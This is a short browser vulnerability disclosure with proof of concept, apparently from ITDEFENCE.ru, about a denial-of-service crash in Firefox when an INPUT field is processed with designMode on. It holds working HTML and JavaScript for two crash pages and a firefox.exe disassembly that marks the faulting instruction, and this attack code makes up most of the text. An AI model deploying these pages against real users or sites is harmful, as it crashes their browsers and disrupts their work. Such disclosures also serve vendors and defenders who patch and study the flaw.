Author: Azizov Emin (azizov@xxxxxxxxxxxx) ITDEFENCE.ru Denial of Service at INPUT tag processing (designMode = on) POC: <html> <head> <title>!</title> <script type='text/javascript'> function wnd_open(uri,size) { pwin=window.open(uri,'','menubar=no,scrollbars=yes,location=no,'+size); pwin.document.body.contentEditable='true'; pwin.document.designMode='on'; if(window.focus){pwin.focus()}; } </script> </head> <body> <input type='button' name='sb' value='start' onclick='wnd_open("/evl.html","width=550,height=350");'> </body> </html> ---------------------------------------------------------------------------------------------------------------- <!-- 005EC769 |> 8B06 MOV EAX,DWORD PTR DS:[ESI] 005EC76B |. 6A 00 PUSH 0 005EC76D |. 53 PUSH EBX 005EC76E |. 56 PUSH ESI 005EC76F |. FF50 30 CALL DWORD PTR DS:[EAX+30] 005EC772 |> 8B5B 14 MOV EBX,DWORD PTR DS:[EBX+14] 005EC775 |. 5E POP ESI 005EC776 |. EB 12 JMP SHORT firefox.005EC78A 005EC778 |> 837B 18 00 /CMP DWORD PTR DS:[EBX+18],0 005EC77C |. 75 09 |JNZ SHORT firefox.005EC787 005EC77E |. FF75 10 |PUSH DWORD PTR SS:[EBP+10] 005EC781 |. 8B03 |MOV EAX,DWORD PTR DS:[EBX] 005EC783 |. 53 |PUSH EBX 005EC784 |. FF50 28 |CALL DWORD PTR DS:[EAX+28] 005EC787 |> 8B5B 10 |MOV EBX,DWORD PTR DS:[EBX+10] 005EC78A |> 85DB TEST EBX,EBX 005EC78C |.^75 EA \JNZ SHORT firefox.005EC778 005EC78E |> 5F POP EDI 005EC78F |. 33C0 XOR EAX,EAX 005EC791 |. 5B POP EBX 005EC792 |. C9 LEAVE 005EC793 \. C2 0C00 RETN 0C 005EC796 /$ 56 PUSH ESI 005EC797 |. 8B7424 08 MOV ESI,DWORD PTR SS:[ESP+8] 005EC79B |. 57 PUSH EDI 005EC79C |. 8BF9 MOV EDI,ECX 005EC79E |. 8B46 0C MOV EAX,DWORD PTR DS:[ESI+C] <-------//BREAK 005EC7A1 |. 85C0 TEST EAX,EAX 005EC7A3 |. 74 09 JE SHORT firefox.005EC7AE 005EC7A5 |. 8B08 MOV ECX,DWORD PTR DS:[EAX] 005EC7A7 |. 50 PUSH EAX 005EC7A8 |. FF91 C0000000 CALL DWORD PTR DS:[ECX+C0] 005EC7AE |> 8B76 14 MOV ESI,DWORD PTR DS:[ESI+14] 005EC7B1 |. EB 0B JMP SHORT firefox.005EC7BE 005EC7B3 |> 56 /PUSH ESI 005EC7B4 |. 8BCF |MOV ECX,EDI 005EC7B6 |. E8 DBFFFFFF |CALL firefox.005EC796 005EC7BB |. 8B76 10 |MOV ESI,DWORD PTR DS:[ESI+10] 005EC7BE |> 85F6 TEST ESI,ESI 005EC7C0 |.^75 F1 \JNZ SHORT firefox.005EC7B3 005EC7C2 |. 5F POP EDI 005EC7C3 |. 5E POP ESI 005EC7C4 \. C2 0400 RETN 4 --> <html> <head> <title>die</title> <style type='text/css'> .textbox { padding: 2px 3px; } </style> </head> <body> <!-- insert into textbox insert into clipboard .... text to crash .... --> <input name="m_0" value="" class="textbox" size="3" id='boo' type="text"> </body> </html>